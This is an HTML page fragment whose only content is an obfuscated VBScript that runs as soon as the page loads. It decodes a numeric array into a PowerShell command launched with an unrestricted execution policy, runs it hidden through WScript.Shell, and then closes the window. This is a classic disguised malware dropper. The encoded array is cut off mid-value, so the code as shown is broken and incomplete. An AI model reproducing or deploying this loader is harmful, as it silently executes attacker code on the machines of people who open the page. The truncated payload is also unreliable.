<head>
<script language="vBsCRIPT">
Function GlJRK(ByVal GfTygVTOsT)
Dim nQAvK
Dim bNIzRCl
bNIzRCl = 61742
Dim hwUtdEN
hwUtdEN = Kkfqvjz(GfTygVTOsT)
If hwUtdEN = 7000 + 1204 Then
For Each nQAvK In GfTygVTOsT
Dim mAINBHAVQN
mAINBHAVQN = mAINBHAVQN & Chr(nQAvK - bNIzRCl)
Next
End If
GlJRK = mAINBHAVQN
End Function
Function lzUb()
Dim GfTygVTOsT
Dim UHNJEsiuaGcwQ
GfTygVTOsT = Array(61854,61853,61861,61843,61856,61857,61846,61843,61850,61850,61788,61843,61862,61843,61774,61787,61811,61862,61843,61841,61859,61858,61847,61853,61852,61822,61853,61850,61847,61841,61863,61774,61827,61852,61824,61843,61857,61858,61856,61847,61841,61858,61843,61842,61774,61844,61859,61852,61841,61858,61847,61853,61852,61774,61858,61813,61815,61859,61843,61782,61778,61811,61854,61815,61862,61851,61859,61813,61828,61859,61832,61818,61840,61844,61807,61786,61774,61778,61839,61826,61813,61847,61849,61844,61822,61824,61857,61832,61824,61828,61783,61865,61833,61815,61821,61788,61812,61847,61850,61843,61835,61800,61800,61829,61856,61847,61858,61843,61807,61850,61850,61808,61863,61858,61843,61857,61782,61778,61811,61854,61815,61862,61851,61859,61813,61828,61859,61832,61818,61840,61844,61807,61786,61774,61778,61839,61826,61813,61847,61849,61844,61822,61824,61857,61832,61824,61828,61783,61867,61801,61844,61859,61852,61841,61858,61847,61853,61852,61774,61840,61830,61846,61823,61862,61822,61813,61782,6
UHNJEsiuaGcwQ = GlJRK(GfTygVTOsT)
Dim DGKCkFIKPbRB
Set DGKCkFIKPbRB = IpwPq(GlJRK(Array(61829,61857,61841,61856,61847,61854,61858,61788,61825,61846,61843,61850,61850)))
DGKCkFIKPbRB.Run(UHNJEsiuaGcwQ),0,true
self.close()
End Function
Function Kkfqvjz(ByVal hwUtdEN)
Kkfqvjz = VarType( hwUtdEN)
End Function
Function IpwPq(ByVal objectType)
Set IpwPq = CreateObject(objectType)
End Function
lzUb()
</script>
</head>
</html>